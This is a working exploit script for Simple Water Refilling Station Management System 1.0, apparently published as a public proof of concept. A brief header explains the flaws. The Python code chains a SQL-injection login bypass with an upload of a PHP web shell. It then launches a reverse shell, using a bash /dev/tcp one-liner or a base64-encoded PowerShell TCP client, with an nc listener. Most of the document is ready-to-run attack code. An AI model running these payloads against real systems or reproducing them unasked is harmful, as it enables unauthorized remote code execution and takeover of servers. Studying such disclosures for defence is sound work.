# Exploit Title: Simple Water Refilling Station Management System 1.0 - Remote Code Execution (RCE) through File Upload
# Exploit Author: Matt Sorrell
# Date: 2021-08-14
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14906/simple-water-refilling-station-management-system-php-free-source-code.html
# Version: 1.0
# Tested On: Windows Server 2019 and XAMPP 7.4.22

# The Simple Water Refilling Station Management System 
# contains a file upload vulnerability that allows for remote 
# code execution against the target.  This exploit requires 
# the user to be authenticated, but a SQL injection in the login form 
# allows the authentication controls to be bypassed.  The application does not perform
# any validation checks against the uploaded file at "/classes/SystemSettings.php"
# and the directory it is placed in allows for execution of PHP code.


#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup as bs
import time
import subprocess
import base64
import sys


def login_with_injection(url, session):
  target = url + "/classes/Login.php?f=login"

  data = {
    "username": "test' OR 1=1-- -",
    "password": "test"
  }

  r = session.post(target, data=data)
  if '"status":"success"' in r.text:
    return True
  else:
    return False

def upload_shell(url, session):
  target = url + "/classes/SystemSettings.php?f=update_settings"

  files = {'img': ('shell.php', "<?php system($_REQUEST['cmd']); ?>", 'application/x-php')}

  r = session.post(target, files=files)
  
  if r.headers['Content-Length'] != 1:
    print("[+] Shell uploaded.\n")
    return r.links
  else:
    print("Error uploading file.  Exiting.")
    exit(-1)

def activate_shell(url, session, OS, rev_ip, rev_port):
  target = url + "/admin/?page=system_info"

  r = session.get(target)
  page_data = r.text
  soup = bs(page_data, features='lxml')

  for link in soup.find_all('link'):
    if "shell" in link.get('href'):
      shell_url = link.get('href')
      break


  print(f"[+] Found URL for shell: {shell_url}\n")

  print("[*] Attempting to start reverse shell...")

  subprocess.Popen(["nc","-nvlp",f"{rev_port}"])
  time.sleep(1)

  if OS.lower() == "linux":
    cmd = f"bash -c 'bash -i >& /dev/tcp/{rev_ip}/{rev_port}'"
  else:
    cmd = f"$TCPClient = New-Object Net.Sockets.TCPClient('{rev_ip}', {rev_port});$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {{[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {{0}};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {{$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {{Invoke-Expression $Command 2>&1 | Out-String}} catch {{$_ | Out-String}}WriteToStream ($Output)}}$StreamWriter.Close()".strip()

    cmd = "C:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe -enc " + base64.b64encode(cmd.encode('UTF-16LE')).decode()

  r = session.get(shell_url+"?cmd="+cmd)

def main():
  
  if len(sys.argv) != 5:
    print(f"(+) Usage:\t python3 {sys.argv[0]} <TARGET IP> <LISTENING IP> <LISTENING PORT> <WINDOWS/LINUX Target>")
    print(f"(+) Usage:\t python3 {sys.argv[0]} 10.1.1.1 10.1.1.20 443 windows")
    exit(-1)
  else:
    ip = sys.argv[1]
    rev_ip = sys.argv[2]
    rev_port = sys.argv[3]
    OS = sys.argv[4]

  URL = f"http://{ip}/water_refilling"


  s = requests.Session()

  print("[*] Trying to bypass authentication through SQL injection...\n")

  if not login_with_injection(URL, s):
    print("[-] Failed to login.  Exiting.")
    exit(-1)
  else:
    print("[+] Successfully logged in.\n")

  time.sleep(2)
  print("[*] Trying to upload shell through system logo functionality...\n")
  
  links = upload_shell(URL, s)

  # Sleeping for 2 seconds to avoid problems finding the file uploaded
  time.sleep(2)

  print("[*] Getting shell URL and sending reverse shell command...\n")
  activate_shell(URL, s, OS, rev_ip, rev_port)

  while True:
    pass


if __name__ == "__main__":
  main()